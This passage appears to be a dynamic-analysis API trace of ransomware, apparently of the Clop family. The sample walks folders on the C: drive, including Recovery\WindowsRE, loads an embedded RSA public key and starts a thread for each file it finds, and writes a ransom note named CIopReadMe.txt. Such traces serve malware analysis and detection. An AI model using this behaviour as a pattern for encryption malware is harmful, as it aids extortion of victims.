(lpString1="..", lpString2="..") returned 0 [0087.538] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0087.538] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0087.538] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0087.538] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.538] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.538] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.538] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0087.538] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0087.539] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.539] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0087.539] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0087.539] SetErrorMode (uMode=0x1) returned 0x1 [0087.539] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0087.539] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0087.539] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\PerfLogs\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0087.539] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0087.539] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6c48 [0087.539] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0087.539] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0087.539] FindClose (in: hFindFile=0x5d6c48 | out: hFindFile=0x5d6c48) returned 1 [0087.539] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0087.539] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0087.539] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6c48 [0087.539] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0087.539] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0087.539] FindClose (in: hFindFile=0x5d6c48 | out: hFindFile=0x5d6c48) returned 1 [0087.539] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.539] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0087.539] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0087.540] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.540] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0087.540] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0087.540] SetErrorMode (uMode=0x1) returned 0x1 [0087.540] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0087.540] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0087.540] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0087.540] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0087.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6c48 [0087.540] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0087.540] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0087.540] FindClose (in: hFindFile=0x5d6c48 | out: hFindFile=0x5d6c48) returned 1 [0087.540] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0087.540] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0087.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6a88 [0087.540] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0087.540] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0087.540] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0087.540] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.540] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0087.540] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0087.540] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.540] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0087.540] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0087.541] SetErrorMode (uMode=0x1) returned 0x1 [0087.541] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0087.541] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0087.541] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files (x86)\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0087.541] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0087.541] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6a88 [0087.541] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0087.541] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0087.541] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0087.541] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0087.541] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0087.541] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6a88 [0087.541] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0087.541] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0087.541] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0087.541] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.541] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0087.541] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0087.541] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.541] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0087.541] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0087.541] SetErrorMode (uMode=0x1) returned 0x1 [0087.541] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0087.541] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0087.541] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0087.541] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0087.542] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6d48 [0087.542] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0087.542] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0087.542] FindClose (in: hFindFile=0x5d6d48 | out: hFindFile=0x5d6d48) returned 1 [0087.542] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0087.542] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0087.542] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6a88 [0087.542] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0087.542] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0087.542] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0087.542] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.542] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0087.542] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0087.542] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.542] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0087.542] lstrcatW (in: lpString1="C:\\", lpString2="Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0087.542] SetErrorMode (uMode=0x1) returned 0x1 [0087.542] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0087.542] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0087.542] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Recovery\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0087.542] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0087.542] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6a88 [0087.542] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0087.542] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0087.543] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0087.543] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0087.543] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0087.543] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0087.543] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 0 [0087.543] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0087.543] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0087.543] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6788 [0087.544] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0087.544] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0087.544] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0087.544] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.544] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0087.544] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.544] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0087.544] lstrcmpW (lpString1="WindowsRE", lpString2="..") returned 1 [0087.544] lstrcmpW (lpString1="WindowsRE", lpString2=".") returned 1 [0087.544] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0087.544] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0087.544] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0087.544] SetErrorMode (uMode=0x1) returned 0x1 [0087.544] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0087.544] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0087.544] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Recovery\\WindowsRE\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0087.544] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0087.544] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x5d6a88 [0087.544] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0087.544] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0087.544] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0087.544] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0087.544] lstrcmpW (lpString1="boot.sdi", lpString2="..") returned 1 [0087.544] lstrcmpW (lpString1="boot.sdi", lpString2=".") returned 1 [0087.544] wsprintfW (in: param_1=0x2dcb670, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Recovery\\WindowsRE\\") returned 26 [0087.544] Sleep (dwMilliseconds=0xd) [0087.669] lstrcpyA (in: lpString1=0x2dcaab8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0087.669] lstrcpyW (in: lpString1=0x2dcb016, lpString2="boot.sdi" | out: lpString1="boot.sdi") returned="boot.sdi" [0087.669] lstrcpyW (in: lpString1=0x2dcac16, lpString2="\\\\?\\C:\\Recovery\\WindowsRE\\" | out: lpString1="\\\\?\\C:\\Recovery\\WindowsRE\\") returned="\\\\?\\C:\\Recovery\\WindowsRE\\" [0087.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dcaab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0087.670] WaitForSingleObject (hHandle=0x368, dwMilliseconds=0xffffffff) returned 0x0 [0087.870] SetErrorMode (uMode=0x1) returned 0x1 [0087.871] wsprintfW (in: param_1=0x2dca67c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Recovery\\WindowsRE\\CIopReadMe.txt") returned 36 [0087.871] CreateFileW (lpFileName="C:\\Recovery\\WindowsRE\\CIopReadMe.txt" (normalized: "c:\\recovery\\windowsre\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.871] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0087.871] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0087.871] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0087.871] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0087.871] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0087.871] CreateFileW (lpFileName="C:\\Recovery\\WindowsRE\\CIopReadMe.txt" (normalized: "c:\\recovery\\windowsre\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0087.880] WriteFile (in: hFile=0x388, lpBuffer=0x60b6c0*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dca674, lpOverlapped=0x0 | out: lpBuffer=0x60b6c0*, lpNumberOfBytesWritten=0x2dca674*=0x759, lpOverlapped=0x0) returned 1 [0087.880] CloseHandle (hObject=0x388) returned 1 [0087.881] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0087.881] lstrcmpW (lpString1="ReAgent.xml", lpString2="..") returned 1 [0087.881] lstrcmpW (lpString1="ReAgent.xml", lpString2=".") returned 1 [0087.881] wsprintfW (in: param_1=0x2dcb670, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Recovery\\WindowsRE\\") returned 26 [0087.881] Sleep (dwMilliseconds=0xd) [0087.903] lstrcpyA (in: lpString1=0x2dcaab8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0087.903] lstrcpyW (in: lpString1=0x2dcb016, lpString2="ReAgent.xml" | out: lpString1="ReAgent.xml") returned="ReAgent.xml" [0087.903] lstrcpyW (in: lpString1=0x2dcac16, lpString2="\\\\?\\C:\\Recovery\\WindowsRE\\" | out: lpString1="\\\\?\\C:\\Recovery\\WindowsRE\\") returned="\\\\?\\C:\\Recovery\\WindowsRE\\" [0087.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dcaab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0087.904] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0 [0087.983] SetErrorMode (uMode=0x1) returned 0x1 [0087.983] wsprintfW (in: param_1=0x2dca67c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Recovery\\WindowsRE\\CIopReadMe.txt") returned 36 [0087.983] CreateFileW (lpFileName="C:\\Recovery\\WindowsRE\\CIopReadMe.txt" (normalized: "c:\\recovery\\windowsre\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0087.983] CloseHandle (hObject=0x378) returned 1 [0087.983] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0087.983] lstrcmpW (lpString1="Winre.wim", lpString2="..") returned 1 [0087.983] lstrcmpW (lpString1="Winre.wim", lpString2=".") returned 1 [0087.983] wsprintfW (in: param_1=0x2dcb670, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Recovery\\WindowsRE\\") returned 26 [0087.983] Sleep (dwMilliseconds=0xd) [0087.997] lstrcpyA (in: lpString1=0x2dcaab8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0087.997] lstrcpyW (in: lpString1=0x2dcb016, lpString2="Winre.wim" | out: lpString1="Winre.wim") returned="Winre.wim" [0087.997] lstrcpyW (in: lpString1=0x2dcac16, lpString2="\\\\?\\C:\\Recovery\\WindowsRE\\" | out: lpString1="\\\\?\\C:\\Recovery\\WindowsRE\\") returned="\\\\?\\C:\\Recovery\\WindowsRE\\" [0087.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dcaab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378 [0087.997] SetErrorMode (uMode=0x1) returned 0x1 [0087.997] wsprintfW (in: param_1=0x2dca67c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Recovery\\WindowsRE\\CIopReadMe.txt") returned 36 [0087.997] CreateFileW (lpFileName="C:\\Recovery\\WindowsRE\\CIopReadMe.txt" (normalized: "c:\\recovery\\windowsre\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0087.997] CloseHandle (hObject=0x380) returned 1 [0087.997] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0087.997] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0087.998] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 0 [0087.998] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0087.998] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0087.998] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x5d6c48 [0087.998] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0087.998] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0087.998] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0087.998] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.998] FindNextFileW (in: hFindFile=0x5d6c48, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0087.998] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.998] FindNextFileW (in: hFindFile=0x5d6c48, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0087.998] FindNextFileW (in: hFindFile=0x5d6c48, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0087.998] FindNextFileW (in: hFindFile=0x5d6c48, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0087.998] FindNextFileW (in: hFindFile=0x5d6c48, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0087.998] FindNextFileW (in: hFindFile=0x5d6c48, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0087.998] FindClose (in: hFindFile=0x5d6c48 | out: hFindFile=0x5d6c48) returned 1 [0087.998] FindClose (in: hFindFile=0x5d6c48 